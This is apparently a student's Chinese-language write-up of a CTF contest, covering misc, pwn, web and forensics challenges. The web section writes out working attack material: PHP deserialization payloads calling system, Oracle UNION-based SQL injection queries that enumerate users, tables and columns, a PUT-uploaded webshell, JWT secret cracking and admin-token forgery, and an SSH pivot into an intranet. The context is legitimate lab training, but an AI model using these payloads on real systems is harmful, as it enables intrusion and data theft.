MISC

【福利题】sign sign sign

关注公众号,回复SkyNICO

Screenshot_2022_1107_140846

之后有一个base32编码的flag,解码即可0BBEF740DA2CB6A67EAB28EB5DF21D5E

这里直接复制的话会漏掉最后一个等号,刚好被挡住了。。。当时还一直以为是套娃。。。学长能不能免费给我手机贴膜

image-20221107142033898

【福利题】啊吧啊吧

foremost分离图片即可

image-20221107141733338

希尔伯特的微笑

给了一张图片,名为threebody,三体

image-20221107142549321

刚开始根本没想做,搜了一遍图片和题目名,直接跳过了。但是看到好多人做出来了,于是把题目描述搜了一下,

image-20221107142852924

同样是threebody,进去看看

image-20221107143503124

看虽然看不懂,但是看着挺好玩的,看到最后,,,,,

image-20221107143652463

Pwn

真的nc上去就有flag了

根据描述去nc连一下,命令执行,拿flag

image-20221107143815351

WEB

hardser

EasyPHP

前几关都很简单,最后一关卡住了。

用了之前存的MD5 , WP给的都没成功,还是又生成了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("E:\\anquan\\CTF\\tools\\WEB\\fastcoll\\1_msg1.txt"));
$b = urlencode(readmyfile("E:\\anquan\\CTF\\tools\\WEB\\fastcoll\\1_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
//if(urldecode($a)!=urldecode($b)){
// echo $b;
//}
1
2
c=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%7B%D8%E6%D1Y%3ET%D1%25%B9%93%B4x%FF%25%F3%1D%17U%C8R%08%C4%3F%B6B%BE%B2%A7%AD%B4%E1%D9%E8%CCb.%D8%D5kh%E4%F1%F9%EB%FCw%0D%DD%12%0D%D1e%AD%EC%B6%E2%0F%246%E6a8%28%8C%81%9B%3Fn%06%A6%B3aaTI%0D%26WP%9F%AE%F3%25F%26%DF%C9%1A%F6%B7%ECG%FE%E7%1E%85%BE%99%F6%0F%E8%91x%8Bm%F7%89%7C%02%2F%13N%C1%A2TH%9F%3A%0D%D9%DC%A5Z%BD%EC%C5
d=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%7B%D8%E6%D1Y%3ET%D1%25%B9%93%B4x%FF%25%F3%1D%17%D5%C8R%08%C4%3F%B6B%BE%B2%A7%AD%B4%E1%D9%E8%CCb.%D8%D5kh%E4%F1%F9k%FCw%0D%DD%12%0D%D1e%AD%EC%B6%E2%0F%A46%E6a8%28%8C%81%9B%3Fn%06%A6%B3aaTI%0D%26WP%9F%AEs%25F%26%DF%C9%1A%F6%B7%ECG%FE%E7%1E%85%BE%99%F6%0F%E8%91x%8Bm%F7%89%FC%02%2F%13N%C1%A2TH%9F%3A%0D%D9%DC%25Z%BD%EC%C5
1
2
3
4
5
6
7

?payload=O:3:"rYu":1:{s:4:"func";O:9:"makeMoney":2:{s:5:"money";s:4:"ls+/";s:5:"value";s:6:"system";}}



O:3:"rYu":1:{s:4:"func";O:9:"makeMoney":2:{s:5:"money";s:11:"base64+/fl*";s:5:"value";s:6:"system";}}
确实学到了,还能用base64读,那么32也是可以的,不过用cat也是可以的

flag{b8992235-721e-4b77-a84f-80de0f01a38e}

osql

打开实例

image-20221107144148566

刚开始各种注入,结果连回显位都没出来。

第二天,放了hint才发现根本就不是mysql数据库,

搜索Oracle注入,找到一篇文章,

干货 | Oracle数据库注入方式总结 - 腾讯云开发者社区-腾讯云 (tencent.com)

注入的第三步就是查版本信息,当时以为没用,直接跳过去查用户名,

不过他给的不是str类型的,要在判断回显位的时候加上''

查回显位

1
'union select '1','2','3' from dual --+

image-20221107144937028

查用户名

Oracle没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。

1
?id='union select null,(SELECT user FROM dual),'3' from dual --+

image-20221107145227178

获取当前用户名位CTF

查表名

1
?id='union select null,(select table_name from all_tables where rownum=1 and owner='CTF'),'3' from dual --+

image-20221107145349228

查字段

第一个列名

1
2
?id='union select null,(select column_name from all_tab_columns where owner='CTF' and table_name='flag' and rownum=1),'3' from dual --+

image-20221107145627891

第二个列名

将第一个表名加到查询条件里,就不会显示第一个列名了。

1
?id='union select null,(select column_name from all_tab_columns where owner='CTF' and table_name='flag' and rownum=1 and column_name<>'id'),'3' from dual --+

image-20221107145727492

获取数据

1
2
3
没成功,回头又安装文章查了数据表
union select null,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
太痛了,这个题告诉我们注入前要先看数据库类型和版本

image-20221107181333115

太痛了,这个题告诉我们注入前要先看数据库类型版本

【福利题】某真实渗透场景

1
2
3
cat /flag
就出了,但是当时只注意输入点下面的回显,没看到。。。。
还是对信息不够敏感

image-20221107152603903

what_is_fuck

尝试连接蚁剑失败

image-20221107155710105

image-20221107152758984

扫目录发现,网站源码泄露。

image-20221107153424477

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
index.php
//
$method = $_SERVER['REQUEST_METHOD'];
if($method == "PUT"){ //判断是否为PUT方式请求
if (($stream = fopen('php://input',"r") !== FALSE){ //将PUT数据读入$stream
$info = stream_get_contents($stream); //将stream_get_contents($stream)的结果赋值给$info
if(!preg_match("/[^\[\]\.\+\(\)\ \^]/",$info)){ //匹配到[]()^.+七个字符之一就打印$info,并更新fuck.php的内容
var_dump($info);
file_put_contents('fuck.php','<?php '.$info.' ?>');
}
else{
echo "小朋友不要装baby哦";
}
}
}
else{
echo "不要这样请求人家哦~";
}

当时看不懂fuck.php,并受到搜索的一个题目的影响一直尝试将其转换为flag。看了hint才发现fuck.php 里的内容就是<?php phpinfo(); ?>

在网站将语句转换为PHPFUCK,注意要选中Eval Code

image-20221107160640072

那么怎么传PUT请求呢?

中间下了postman没成功,最后发现直接在BP上将GET改为PUT就行。

image-20221107160751125

可以看到$info被打印出来了。去看fuck.php

image-20221107160837241

发现flag,语句换为system('cat /flag');

image-20221107161203610

babytoken

打开实例

当时的理解是在index.php页面找token.

提示用post请求

image-20221107162106937

image-20221107162041574

将token拿到jwt.io看一下

image-20221107162217587

看到hint密钥需要破解

可以用c-jwt-ctaker-master

跑出来密钥是aaa

image-20221107163144633

密钥填上,users改为admin

“is_admin”: 0,改为"is_admin": 1,

更改拦截的token

请求方式改为POST,发包

image-20221107163422521

image-20221107163117460

Intranet!

进入后,什么都没有,扫目录

image-20221107163827155

image-20221107163841425

命令执行试试

image-20221107164027422

不行,直接连下蚁剑

image-20221107164122093

成功

搜索根目录没找到flag,

看了提示,搜一下ssh命令.

要用ssh命令远程连接

直接连的话连接不上,

根据提示看了,/home/testuser/ 目录

下载工具,但是不知道怎么用。。。。也打不开,想去下载,kali还寄掉了。。。中间点开了同目录下的result.txt文件

windows fscan

image-20221107182214562

image-20221107182225043

直接在Windows上试的ssh命令

image-20221107192526294

可以用,但是不知道用户名进不去

在nginx目录里找到

image-20221107192601224

image-20221107192636012

知道了端口和用户名

image-20221107193125328

[Linux ssh登录命令 - joshua317 - 博客园 (cnblogs.com)](https://www.cnblogs.com/joshua317/articles/4740881.html#:~:text=ssh命令用于远程登录上Linux主机。 常用格式:ssh [-l,login_name] [-p port] [user%40]hostname)

要先连43.142.39.81,再进内网

image-20221107194309869

查看目录,找到flag,并查看

image-20221107194414873

Forensics

芝麻开门!

登陆进去虚拟机发现需要John_JMT用户的密码

试过一下密码

image-20221107183904997

错了,给了提示top1000,不会有人是手工爆破的吧。。。

用Magnet取证

image-20221107182900426

image-20221107182929801

进去后不知道怎么做,百度。

image-20221107184210926

https://blog.csdn.net/qq_46202048/article/details/121396885

image-20221107190448668

找到密码,去解密https://cmd5.com/

image-20221107190513983

登陆进去就是flag

image-20221107190649677